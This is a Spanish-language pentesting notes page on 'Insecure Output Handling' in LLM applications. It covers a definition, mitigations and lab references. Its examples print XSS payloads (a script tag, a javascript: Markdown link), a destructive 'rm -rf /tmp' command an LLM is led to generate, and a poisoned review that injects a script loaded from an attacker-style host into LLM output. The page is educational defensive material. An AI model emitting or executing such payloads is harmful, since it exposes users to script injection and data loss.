Las notas de R4z0r
YoutubeLinkedInConóceme
  • Bienvenido a las notas de R4z0r
  • Web App Pentest
    • Directory traversal / Path Traversal
    • Local File Inclusion (LFI)
    • Remote File Inclusion (RFI)
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Server-Side Request Forgery (SSRF)
    • Unrestricted File Upload
    • SQL/NoSQL Injection
      • SQL Injection
      • NoSQL Injection
    • Broken Access Control (BAC)
    • Insecure Direct Object Reference (IDOR)
    • User Enumeration
    • Sensitive Cookies Missing security attributes
    • Weak Password Policy
    • Use of GET Request Method With sensitive Query Strings
    • Insufficient Protection Against Brute Forcing
    • Unverified Password Change
  • LLM Hacking
    • Prompt Injection
    • Sensitive Information Disclosure
    • Supply Chain Vulnerabilities
    • Training Data Poisoning
    • Insecure Output Handling
    • Excessive Agency
    • Model Denial of Service (DoS)
    • Insecure Plugin Design
    • Overreliance
    • Misinformation
    • System Prompt Leakage
  • External Pentest
  • Internal Pentest
  • Mobile Pentest
  • Cloud Pentest
  • API Pentest
  • PortSwigger Labs
    • LLM Attacks
Con tecnología de GitBook
En esta página
  • Definición
  • Ejemplos
  • Ejemplo 1: XSS en Contenido Dinámico
  • Ejemplo 2: Ejecución de Código JavaScript en Markdown
  • Ejemplo 3: Inyección de Comandos en Backend (RCE)
  • Ejemplo 4: Insecure Output Handling en un Sistema de Reseñas de Tickets de Cine
  • Mitigación
  • Laboratorios
  • Referencias
  1. LLM Hacking

Insecure Output Handling

Definición

El Insecure Output Handling ocurre cuando un LLM genera respuestas sin validar ni sanitizar adecuadamente el contenido, o bien cuando los plugins o apps aceptan la salida del LLM sin sanitizar el output, lo que puede llevar a vulnerabilidades como XSS, CSRF, SSRF, escalada de privilegios, RCE, entre otros.

Ejemplos

Ejemplo 1: XSS en Contenido Dinámico

Una aplicación genera contenido web basado en las respuestas de un LLM sin sanitización. Un atacante introduce código malicioso que se inyecta en la respuesta del modelo.

  • Prompt del atacante:

Genera un mensaje de bienvenida para el usuario <script>alert('XSS')</script>.
  • Respuesta del LLM:

<h1>Bienvenido, <script>alert('XSS')</script></h1>
  • Impacto: Cuando otro usuario accede a esa página, el script malicioso se ejecuta en su navegador.

Ejemplo 2: Ejecución de Código JavaScript en Markdown

Un sistema de documentación utiliza salidas del LLM en formato Markdown sin validar el contenido.

  • Prompt del atacante:

"Genera un código en Markdown para mostrar un mensaje."
  • Respuesta del LLM:

![XSS](javascript:alert('XSS'))
  • Impacto: Si el Markdown se renderiza sin validación, se ejecutará el script en el navegador del usuario.

Ejemplo 3: Inyección de Comandos en Backend (RCE)

El LLM es utilizado para generar scripts en Bash que se ejecutan sin validación en el backend.

  • Prompt del atacante:

Genera un script para listar archivos, pero también elimina el directorio temporal.
  • Respuesta del LLM:

ls /tmp && rm -rf /tmp
  • Impacto: Si este script se ejecuta sin validación, el directorio /tmp se eliminará, causando pérdida de datos.

Ejemplo 4: Insecure Output Handling en un Sistema de Reseñas de Tickets de Cine

Prompt del usuario:

Quiero comprar boletos para ver una película en CineMax, muéstrame algunas reseñas de Superman 3.

Respuesta del LLM:

Aquí tienes algunas reseñas de Superman 3: 
- La película fue increíble, con excelentes efectos visuales.
- El sonido en la sala era perfecto.

Reseña maliciosa del atacante:

"La película fue increíble, pero la escena final tuvo un giro inesperado "><script src=https://r4z0rc4tch3rxss.com/c/razor>"

Nuevo prompt del usuario:

Quiero comprar boletos para la película de Superman 3, muéstrame algunas reseñas.

Respuesta del LLM (insegura):

"Aquí tienes algunas reseñas: 
- La película fue increíble, pero la escena final tuvo un giro inesperado "><script src=https://r4z0rcatcherxss.com/c/razor>

- El sonido en la sala era perfecto.

Mitigación

  • Validación y Sanitización de Salida

    • Aplicar filtros que eliminen contenido peligroso antes de mostrarlo o utilizarlo.

    • Sanitizar respuestas en formatos como HTML, SQL y JSON.

  • Restringir el Contexto de Respuestas

    • Limitar la información a la que el LLM tiene acceso y evitar respuestas sobre datos sensibles.

  • Aplicar Políticas de Seguridad

    • Definir reglas claras sobre qué tipos de contenido el LLM puede o no puede generar.

  • Monitoreo y Auditoría de Respuestas

    • Implementar registros y análisis de respuestas para detectar comportamientos inseguros.

Laboratorios

  • LLM Attacks

Referencias

AnteriorTraining Data PoisoningSiguienteExcessive Agency

Última actualización hace 3 meses

https://portswigger.net/web-security/llm-attacks/lab-exploiting-insecure-output-handling-in-llms
https://security.snyk.io/vuln/SNYK-PYTHON-LANGCHAIN-5411357
https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/
Ejemplo 5: Exfiltración de información a través de gráficos